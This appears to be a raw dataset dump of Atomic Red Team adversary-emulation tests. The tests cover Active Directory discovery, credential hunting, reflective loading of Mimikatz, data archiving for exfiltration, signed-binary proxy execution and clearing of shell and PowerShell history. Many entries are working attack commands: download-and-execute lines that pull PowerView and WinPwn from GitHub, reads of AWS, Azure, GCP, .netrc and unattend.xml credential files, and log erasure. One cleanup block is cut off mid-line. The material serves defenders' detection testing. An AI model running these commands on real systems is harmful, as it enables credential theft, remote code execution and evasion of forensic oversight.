deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1069.002: Permission Groups Discovery: Domain Groups
Test: Get-ADUser Enumeration using UserAccountControl flags (AS-REP Roasting)
Platforms: windows
Executor: powershell

Description:
When successful, accounts that do not require kerberos pre-auth will be returned.
Reference: https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html


Command:
Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name


Dependencies:
Computer must be domain joined.

Requires the Active Directory module for powershell to be installed.
Atomic Red Team — T1069.002: Permission Groups Discovery: Domain Groups
Test: Get-DomainGroupMember with PowerView
Platforms: windows
Executor: powershell

Description:
Utilizing PowerView, run Get-DomainGroupMember to identify domain users. Upon execution, progress and info about groups within the domain being scanned will be displayed.


Command:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainGroupMember "Domain Admins"
Atomic Red Team — T1069.002: Permission Groups Discovery: Domain Groups
Test: Get-DomainGroup with PowerView
Platforms: windows
Executor: powershell

Description:
Utilizing PowerView, run Get-DomainGroup to identify the domain groups. Upon execution, Groups within the domain will be listed.


Command:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainGroup -verbose
Atomic Red Team — T1069.002: Permission Groups Discovery: Domain Groups
Test: Active Directory Enumeration with LDIFDE
Platforms: windows
Executor: command_prompt

Description:
Output information from Active Directory to a specified file. [Ldifde](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc731033(v=ws.11)) is a CLI tool for creating, modifying and deleting directory objects.
The test is derived from the CISA Report on Voly Typhoon. Reference: https://media.defense.gov/2023/May/24/[PII_REDACTED]/-1/-1/0/CSA_Living_off_the_Land.PDF


Command:
ldifde.exe -f #{output_path}\#{output_file} -p subtree


Cleanup:
del #{output_path}\#{output_file}


Dependencies:
PowerShell ActiveDirectory Module must be installed
Atomic Red Team — T1069.002: Permission Groups Discovery: Domain Groups
Test: Active Directory Domain Search Using LDAP - Linux (Ubuntu)/macOS
Platforms: linux
Executor: sh

Description:
Output information from LDAPSearch. LDAP Password is the admin-user password on Active Directory


Command:
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" "(objectClass=group)" -s sub -a always -z 1000 dn 


Dependencies:
Packages sssd-ad sssd-tools realmd adcli installed and realm available, ldapsearch
Atomic Red Team — T1574.008: Hijack Execution Flow: Path Interception by Search Order Hijacking
Test: powerShell Persistence via hijacking default modules - Get-Variable.exe
Platforms: windows
Executor: powershell

Description:
Colibri leverages PowerShell in a unique way to maintain persistence after a reboot. Depending on the Windows version, Colibri drops its copy in %APPDATA%\Local\Microsoft\WindowsApps and 
names it Get-Variable.exe for Windows 10 and above.
https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/


Command:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:"$env:localappdata\Microsoft\WindowsApps\Get-Variable.exe" "PathToAtomicsFolder\T1574.008\bin\calc.cs"
Powershell -noprofile


Cleanup:
Remove-Item "$env:localappdata\Microsoft\WindowsApps\Get-Variable.exe" -ErrorAction Ignore
Stop-Process -Name "calculator"
# T1620 - Reflective Code Loading

## Description from ATT&CK

> Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk (e.g., [Shared Modules](https://attack.mitre.org/techniques/T1129)).
> 
> Reflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation: Introducing Donut)(Citation: S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL) For example, the `Assembly.Load()` method executed by [PowerShell](https://attack.mitre.org/techniques/T1059/001) may be abused to load raw code into the running process.(Citation: Microsoft AssemblyLoad)
> 
> Reflective code injection is very similar to [Process Injection](https://attack.mitre.org/techniques/T1055) except that the “injection” loads code into the processes’ own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Intezer ACBackdoor)(Citation: S1 Old Rat New Tricks)

[Source](https://attack.mitre.org/techniques/T1620)

## Atomic Tests

- [Atomic Test #1: WinPwn - Reflectively load Mimik@tz into memory](#atomic-test-1-winpwn---reflectively-load-mimiktz-into-memory)

### Atomic Test #1: WinPwn - Reflectively load Mimik@tz into memory

Reflectively load Mimik@tz into memory technique via function of WinPwn

**Supported Platforms:** Windows

**auto_generated_guid:** `56b9589c-9170-4682-8c3d-33b86ecb5119`

#### Attack Commands: Run with `powershell`!

```powershell
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
mimiload -consoleoutput -noninteractive
```
Atomic Red Team — T1620: Reflective Code Loading
Test: WinPwn - Reflectively load Mimik@tz into memory
Platforms: windows
Executor: powershell

Description:
Reflectively load Mimik@tz into memory technique via function of WinPwn

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
mimiload -consoleoutput -noninteractive
Atomic Red Team — T1552.001: Unsecured Credentials: Credentials In Files
Test: Find AWS credentials
Platforms: macos, linux
Executor: sh

Description:
Find local AWS credentials from file, defaults to using / as the look path.


Command:
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
Atomic Red Team — T1552.001: Unsecured Credentials: Credentials In Files
Test: Extract Browser and System credentials with LaZagne
Platforms: macos
Executor: bash

Description:
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)


Command:
python2 laZagne.py all
Atomic Red Team — T1552.001: Unsecured Credentials: Credentials In Files
Test: Extract passwords with grep
Platforms: linux, macos
Executor: sh

Description:
Extracting credentials from files


Command:
grep -ri password #{file_path}
exit 0
Atomic Red Team — T1552.001: Unsecured Credentials: Credentials In Files
Test: Extracting passwords with findstr
Platforms: windows
Executor: powershell

Description:
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.


Command:
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
Atomic Red Team — T1552.001: Unsecured Credentials: Credentials In Files
Test: Access unattend.xml
Platforms: windows
Executor: command_prompt

Description:
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored.
If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.


Command:
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
Atomic Red Team — T1552.001: Unsecured Credentials: Credentials In Files
Test: Find and Access Github Credentials
Platforms: linux, macos
Executor: bash

Description:
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.


Command:
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
Atomic Red Team — T1552.001: Unsecured Credentials: Credentials In Files
Test: WinPwn - sensitivefiles
Platforms: windows
Executor: powershell

Description:
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Atomic Red Team — T1552.001: Unsecured Credentials: Credentials In Files
Test: WinPwn - Snaffler
Platforms: windows
Executor: powershell

Description:
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
Atomic Red Team — T1552.001: Unsecured Credentials: Credentials In Files
Test: WinPwn - powershellsensitive
Platforms: windows
Executor: powershell

Description:
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
Atomic Red Team — T1552.001: Unsecured Credentials: Credentials In Files
Test: WinPwn - passhunt
Platforms: windows
Executor: powershell

Description:
Search for Passwords on this system using passhunt via WinPwn

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive

Cleanup:
rm -force .\passhunt.exe -ErrorAction Ignore
rm -force .\phunter* -ErrorAction Ignore
rm -force -recurse .\DomainRecon -ErrorAction Ignore
rm -force -recurse .\Exploitation -ErrorAction Ignore
rm -force -recurse .\LocalPrivEsc -ErrorAction Ignore
rm -force -recurse .\LocalRecon -ErrorAction Ignore
r
Atomic Red Team — T1552.001: Unsecured Credentials: Credentials In Files
Test: WinPwn - SessionGopher
Platforms: windows
Executor: powershell

Description:
Launches SessionGopher on this system via WinPwn

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
Atomic Red Team — T1552.001: Unsecured Credentials: Credentials In Files
Test: WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials
Platforms: windows
Executor: powershell

Description:
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
Atomic Red Team — T1552.001: Unsecured Credentials: Credentials In Files
Test: List Credential Files via PowerShell
Platforms: windows
Executor: powershell

Description:
Via PowerShell,list files where credentials are stored in Windows Credential Manager


Command:
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
Atomic Red Team — T1552.001: Unsecured Credentials: Credentials In Files
Test: List Credential Files via Command Prompt
Platforms: windows
Executor: command_prompt

Description:
Via Command Prompt,list files where credentials are stored in Windows Credential Manager


Command:
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
Atomic Red Team — T1552.001: Unsecured Credentials: Credentials In Files
Test: Find Azure credentials
Platforms: macos, linux
Executor: sh

Description:
Find local Azure credentials from file, defaults to using / as the look path.


Command:
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
Atomic Red Team — T1552.001: Unsecured Credentials: Credentials In Files
Test: Find GCP credentials
Platforms: macos, linux
Executor: sh

Description:
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.


Command:
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
Atomic Red Team — T1552.001: Unsecured Credentials: Credentials In Files
Test: Find OCI credentials
Platforms: macos, linux
Executor: sh

Description:
Find local Oracle cloud credentials from file, defaults to using / as the look path.


Command:
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
# T1560 - Archive Collected Data

## Description from ATT&CK

> An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network.(Citation: DOJ GRU Indictment Jul 2018) Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
> 
> Both compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.

[Source](https://attack.mitre.org/techniques/T1560)

## Atomic Tests

- [Atomic Test #1: Compress Data for Exfiltration With PowerShell](#atomic-test-1-compress-data-for-exfiltration-with-powershell)

### Atomic Test #1: Compress Data for Exfiltration With PowerShell

An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration.
When the test completes you should find the files from the $env:USERPROFILE directory compressed in a file called T1560-data-ps.zip in the $env:USERPROFILE directory

**Supported Platforms:** Windows

**auto_generated_guid:** `41410c60-614d-4b9d-b66e-b0192dd9c597`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| input_file | Path that should be compressed into our output file | path | $env:USERPROFILE|
| output_file | Path where resulting compressed data should be placed | path | $env:USERPROFILE&#92;T1560-data-ps.zip|

#### Attack Commands: Run with `powershell`!

```powershell
dir #{input_file} -Recurse | Compress-Archive -DestinationPath #{output_file}
```

#### Cleanup Commands

```powershell
Remove-Item -path #{output_file} -ErrorAction Ignore
```
Atomic Red Team — T1560: Archive Collected Data
Test: Compress Data for Exfiltration With PowerShell
Platforms: windows
Executor: powershell

Description:
An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration.
When the test completes you should find the files from the $env:USERPROFILE directory compressed in a file called T1560-data-ps.zip in the $env:USERPROFILE directory 


Command:
dir #{input_file} -Recurse | Compress-Archive -DestinationPath #{output_file}


Cleanup:
Remove-Item -path #{output_file} -ErrorAction Ignore
Atomic Red Team — T1218.009: Signed Binary Proxy Execution: Regsvcs/Regasm
Test: Regasm Uninstall Method Call Test
Platforms: windows
Executor: command_prompt

Description:
Executes the Uninstall Method, No Admin Rights Required. Upon execution, "I shouldn't really execute either." will be displayed.


Command:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /out:"#{output_file}" /target:library "#{source_file}"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U #{output_file}


Cleanup:
del #{output_file} >nul 2>&1


Dependencies:
The CSharp source file must exist on disk at specified location (#{source_file})
Atomic Red Team — T1218.009: Signed Binary Proxy Execution: Regsvcs/Regasm
Test: Regsvcs Uninstall Method Call Test
Platforms: windows
Executor: powershell

Description:
Executes the Uninstall Method, No Admin Rights Required, Requires SNK. Upon execution, "I shouldn't really execute" will be displayed
along with other information about the assembly being installed.


Command:
$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53

Cleanup:
Remove-Item #{output_file} -ErrorAction Ignore | Out-Null
$parentpath = Split-Path -Path "#{output_file}"
Remove-Item $parentpath\key.snk -ErrorAction Ignore | Out-Null
Remove-Item $parentpath\T1218.009.tlb -ErrorAction Ignore | Out-Null


Dependencies:
The CSharp source file must exist on disk at specified location (#{source_file})
Atomic Red Team — T1070.003: Indicator Removal on Host: Clear Command History
Test: Clear Bash history (rm)
Platforms: linux, macos
Executor: sh

Description:
Clears bash history via rm


Command:
rm #{history_path}
Atomic Red Team — T1070.003: Indicator Removal on Host: Clear Command History
Test: Clear Bash history (echo)
Platforms: linux
Executor: sh

Description:
Clears bash history via echo


Command:
echo "" > #{history_path}
Atomic Red Team — T1070.003: Indicator Removal on Host: Clear Command History
Test: Clear Bash history (cat dev/null)
Platforms: linux, macos
Executor: sh

Description:
Clears bash history via cat /dev/null


Command:
cat /dev/null > #{history_path}
Atomic Red Team — T1070.003: Indicator Removal on Host: Clear Command History
Test: Clear Bash history (ln dev/null)
Platforms: linux, macos
Executor: sh

Description:
Clears bash history via a symlink to /dev/null


Command:
ln -sf /dev/null #{history_path}
Atomic Red Team — T1070.003: Indicator Removal on Host: Clear Command History
Test: Clear Bash history (truncate)
Platforms: linux
Executor: sh

Description:
Clears bash history via truncate


Command:
truncate -s0 #{history_path}
Atomic Red Team — T1070.003: Indicator Removal on Host: Clear Command History
Test: Clear history of a bunch of shells
Platforms: linux, macos
Executor: sh

Description:
Clears the history of a bunch of different shell types by setting the history size to zero


Command:
unset HISTFILE
export HISTFILESIZE=0
history -c
Atomic Red Team — T1070.003: Indicator Removal on Host: Clear Command History
Test: Clear and Disable Bash History Logging
Platforms: linux, macos
Executor: bash

Description:
Clears the history and disable bash history logging of the current shell and future shell sessions


Command:
set +o history
echo 'set +o history' >> ~/.bashrc
. ~/.bashrc
history -c


Cleanup:
sed -i 's/set +o history//g' ~/.bashrc
. ~/.bashrc
set -o history
Atomic Red Team — T1070.003: Indicator Removal on Host: Clear Command History
Test: Use Space Before Command to Avoid Logging to History
Platforms: linux, macos
Executor: sh

Description:
Using a space before a command causes the command to not be logged in the Bash History file


Command:
hostname
whoami
Atomic Red Team — T1070.003: Indicator Removal on Host: Clear Command History
Test: Disable Bash History Logging with SSH -T
Platforms: linux
Executor: sh

Description:
Keeps history clear and stays out of lastlog,wtmp,btmp ssh -T keeps the ssh client from catching a proper TTY, which is what usually gets logged on lastlog


Command:
sshpass -p 'pwd101!' ssh testuser1@localhost -T hostname


Cleanup:
[ "$(uname)" = 'FreeBSD' ] && rmuser -y testuser1 || userdel -f testuser1


Dependencies:
Install sshpass and create user account used for excuting
Atomic Red Team — T1070.003: Indicator Removal on Host: Clear Command History
Test: Clear Docker Container Logs
Platforms: linux
Executor: bash

Description:
Clears Docker container logs using the Docker CLI and the truncate command, removing all log entries.


Command:
docker container prune -f && sudo truncate -s 0 /var/lib/docker/containers/*/*-json.log
Atomic Red Team — T1070.003: Indicator Removal on Host: Clear Command History
Test: Prevent Powershell History Logging
Platforms: windows
Executor: powershell

Description:
Prevents Powershell history


Command:
Set-PSReadlineOption -HistorySaveStyle SaveNothing


Cleanup:
Set-PSReadLineOption -HistorySaveStyle SaveIncrementally
Atomic Red Team — T1070.003: Indicator Removal on Host: Clear Command History
Test: Clear Powershell History by Deleting History File
Platforms: windows
Executor: powershell

Description:
Clears Powershell history


Command:
Remove-Item (Get-PSReadlineOption).HistorySavePath
Atomic Red Team — T1070.003: Indicator Removal on Host: Clear Command History
Test: Set Custom AddToHistoryHandler to Avoid History File Logging
Platforms: windows
Executor: powershell

Description:
The "AddToHistoryHandler" receives the current command as the $line variable and then returns $true if 
the line should be written to the history file. Here we simply return $false so nothing gets added to 
the history file for the current session. 


Command:
Set-PSReadLineOption -AddToHistoryHandler { return $false }


Cleanup:
Set-PSReadLineOption -AddToHistoryHandler $null
Atomic Red Team — T1070.003: Indicator Removal on Host: Clear Command History
Test: Clear PowerShell Session History
Platforms: windows
Executor: powershell

Description:
This technique involves using the Clear-History cmdlet in PowerShell to remove all records of previously executed commands.
This action is often performed by attackers to eliminate traces of their activities, making incident detection and forensic 
investigation more challenging. By clearing the session history, adversaries aim to obfuscate their operational footprint.


Command:
Clear-History
Atomic Red Team — T1047: Windows Management Instrumentation
Test: WMI Reconnaissance Users
Platforms: windows
Executor: command_prompt

Description:
An adversary might use WMI to list all local User Accounts. 
When the test completes , there should be local user accounts information displayed on the command line.


Command:
wmic useraccount get /ALL /format:csv
Atomic Red Team — T1047: Windows Management Instrumentation
Test: WMI Reconnaissance Processes
Platforms: windows
Executor: command_prompt

Description:
An adversary might use WMI to list Processes running on the compromised host.
When the test completes , there should be running processes listed on the command line.


Command:
wmic process get caption,executablepath,commandline /format:csv